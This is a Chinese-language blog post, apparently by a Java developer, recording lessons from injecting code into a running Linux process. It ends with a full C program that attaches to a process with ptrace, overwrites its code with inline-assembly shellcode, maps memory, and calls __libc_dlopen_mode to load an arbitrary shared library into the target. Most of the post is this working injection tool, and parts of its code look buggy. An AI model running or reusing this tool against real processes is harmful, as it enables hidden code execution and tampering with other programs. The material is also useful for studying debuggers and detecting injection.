业余花了几周时间,终于把代码inject到linux runtime process,做为10几年工作经验的JAVA程序员,期间犯了不少错误,记录一下。
首先是C语言编写,按原来写法, 先定变量,再赋值,导致代码可读性太差。编译时指定 -std=gnu99 ,使得C可以像JAVA一样使用时定义变量。
编译器选择上,用clang比gcc好太多了,clang编译时查找语法错误比gcc多太多了,gcc已老。
其次在处理linux incline asm时,标准写法 asm("asm语句块":输出constrains:输入constrains:受影响寄存器); 输出、输入constrains通常有r表示寄存器,m表示内存,i或者n表示integer操作数,先期常用r,导致asm语句块中使用的寄存器与输出、输入使用的寄存器冲突,改用g就好了,使用任意的registor、memory、integer等。asm语句块使用";"或者"\n"分隔
做为JAVA程序员,处理coredump时有些问题,把代码inject到程序头8个字节后,通常是ELF文件header开始,这时候是没有调用堆栈的,gdb exec corefile后,用where/bt显示不了call stack,想看汇编代码disassemble也没用,刚开始无从下手,后面发现既然自己inject code到target 指定address,尝试使用x/40i address打印内存inject code,发现gdb有指向当前运行指令,通过p $rip也能应证。问题点找到了,自然发现不少JAVA程序员没有考虑的事情,第一个事情就是在注入的shellcode中使用字符常量,大bug,通常字符常量放.data段,并不是.text段,inject 目的地在elf header + .text段时,自然找不到字段常量。
在落地版本的shellcode(尝试使用,实际存活概率肯定很多),dynamic so load时,可通过__attribute__((constructor))指定load 代码,有点类似于windows下很多driver注册函数了。
最后贴上代码,JAVA程序员写C代码巨丑
#include <unistd.h>
#include <stdio.h>
#include <sys/user.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <dlfcn.h>
#include <alloca.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <limits.h>
#include "ptrace.h"
u_int64_t shellcode_size = 0;
/**
* r11: shellcode fullfile path size
* r12: __libc_dlopen_mode
*/
void inject() {
int64_t prot = PROT_EXEC | PROT_READ | PROT_WRITE;
int64_t flags = MAP_SHARED | MAP_ANONYMOUS;
int64_t fd = 0;
off_t offset = 0;
long ret_addr;
//call mmap syscall allocate memory
//void *mmap(void *addr, size_t length, int prot, int flags,int fd, off_t offset);
asm("mov $0,%%rdi \n"
"mov %%r11,%%rsi \n"
"mov %0,%%rdx \n"
"mov %1,%%r10 \n"
"mov %2,%%r8 \n"
"mov %3,%%r9 \n"
"mov $9,%%rax \n"
"syscall \n"
"int $3 \n"
:
:"g"(prot),"g"(flags),"g"(fd),"g"
""(offset)
:"%rax");
asm("mov %%rax,%0":"=m"(ret_addr));
//call __libc_dlopen_mode
asm("mov %%rax,%%rdi \n"
"mov $1,%%rsi \n"
"callq *%%r12 \n"
:
);
// call munmap
asm("mov %%rax,%%rdi \n"
"mov %%r11,%%rsi \n"
"mov $11,%%rax \n"
"syscall \n"
:
);
}
void inject_end() {
}
unsigned long get_start_addr(pid_t pid) {
size_t filename_max_len = 256;
char proc_file[filename_max_len];
FILE *fd;
int max_line_limit = 65535;
char *line = alloca(max_line_limit);
long addr;
char perm[5];
snprintf(proc_file, filename_max_len, "/proc/%d/maps", pid);
fd = fopen(proc_file, "r");
if (fd == NULL) {
perror("fopen");
return 1;
}
while (fgets(line, max_line_limit, fd) != NULL) {
sscanf(line, "%lx-%*lx %s %*d %*s %*s", &addr, perm);
if (strstr(perm, "x") > 0) {
return addr;
}
}
fclose(fd);
return 2;
}
unsigned long getlibc(pid_t pid) {
size_t filename_max_len = 256;
char proc_file[filename_max_len];
FILE *fd;
int max_line_limit = 65535;
char *line = alloca(max_line_limit);
long addr;
char perm[5];
snprintf(proc_file, filename_max_len, "/proc/%d/maps", pid);
fd = fopen(proc_file, "r");
if (fd == NULL) {
perror("fopen");
return 1;
}
while (fgets(line, max_line_limit, fd) != NULL) {
sscanf(line, "%lx-%*lx %*s %*d %*s %*s", &addr);
if (strstr(line, "libc") > 0) {
return addr;
}
}
fclose(fd);
return 2;
}
long get_dyn_func_addr(char *func) {
void *handle;
void *addr;
if ((handle = dlopen("libc.so.6", RTLD_LAZY)) == NULL) {
perror("dlopen");
}
if ((addr = dlsym(handle, func)) == NULL) {
perror("dlsym");
}
printf("function %s addr is 0x%lx\n", func, (long) addr);
return (long) addr;
}
void * read_shellcode(char* path) {
FILE *fd;
struct stat stat;
void *buffer;
size_t read_count = 0;
fd = fopen(path, "rb");
if (fstat(fd->_fileno, &stat) == -1) {
perror("fstat");
fclose(fd);
return NULL;
}
shellcode_size = stat.st_size;
buffer = malloc(shellcode_size);
if ((read_count = fread(buffer, 1, shellcode_size, fd)) < shellcode_size) {
printf("read shellcode error:%lu is less %lu\n", read_count,
shellcode_size);
}
fclose(fd);
return buffer;
}
int main(int argc, char **argv) {
int opt;
pid_t pid;
char *exe_file;
int inj_f = 0;
char *shellcode;
char fullpath_exe_file[PATH_MAX + 1];
char fullpath_shellcode[PATH_MAX + 1];
unsigned long addr;
void *old_code;
struct REG_TYPE old_regs;
struct REG_TYPE new_regs;
long len;
pid_t this_pid = getpid();
unsigned long mylibc_addr;
unsigned long mydlopen_addr;
unsigned long dlopen_offset;
unsigned long libc_addr;
unsigned long dlopen_addr;
unsigned long long shellcode_fullpath_buffer;
void *shellcode_buffer;
while ((opt = getopt(argc, argv, "p:f:s:")) != -1) {
switch (opt) {
case 'p':
pid = atoi(optarg);
break;
case 'f':
exe_file = optarg;
inj_f = 1;
break;
case 's':
shellcode = optarg;
break;
}
}
printf("shellcode is %s\n", shellcode);
if (realpath(shellcode, fullpath_shellcode) == NULL) {
perror("realpath shellcode");
exit(1);
}
if (inj_f) {
if (realpath(exe_file, fullpath_exe_file) == NULL) {
perror("realpath exe_file");
exit(1);
}
switch (fork()) {
case -1:
perror("fork");
exit(2);
// child code path
case 0:
if (execl(fullpath_exe_file, NULL) == -1) {
perror("execl");
}
pid = getpid();
break;
default:
printf("fork call");
}
}
// start to modify code
ptrace_attach(pid);
memset(&old_regs, 0, sizeof(struct REG_TYPE));
memset(&new_regs, 0, sizeof(struct REG_TYPE));
ptrace_getregs(pid, &old_regs);
memcpy(&new_regs, &old_regs, sizeof(struct REG_TYPE));
addr = get_start_addr(pid) + sizeof(long);
printf("inject start 0x%lx\n", addr);
len = inject_end - inject;
old_code = malloc(len * sizeof(char));
ptrace_read(pid, addr, old_code, len);
ptrace_write(pid, addr, inject, len);
mylibc_addr = getlibc(this_pid);
mydlopen_addr = get_dyn_func_addr("__libc_dlopen_mode");
dlopen_offset = mydlopen_addr - mylibc_addr;
libc_addr = getlibc(pid);
dlopen_addr = libc_addr + dlopen_offset;
new_regs.rip = addr + 2;
new_regs.r11 = strlen(fullpath_shellcode) + 1;
new_regs.r12 = dlopen_addr;
ptrace_setregs(pid, &new_regs);
//start mmap
ptrace_cont(pid);
//target stopped at mmap
ptrace_getregs(pid, &new_regs);
shellcode_fullpath_buffer = new_regs.rax;
printf("mmap return address is %llx\n",shellcode_fullpath_buffer);
if (shellcode_fullpath_buffer == -1){
printf("mmap failed");
exit(-1);
}
// inject shellcode
ptrace_write(pid, shellcode_fullpath_buffer, fullpath_shellcode, strlen(fullpath_shellcode) + 1);
// run dlopen shellcode so at target
ptrace_cont(pid);
free(shellcode_buffer);
free(old_code);
}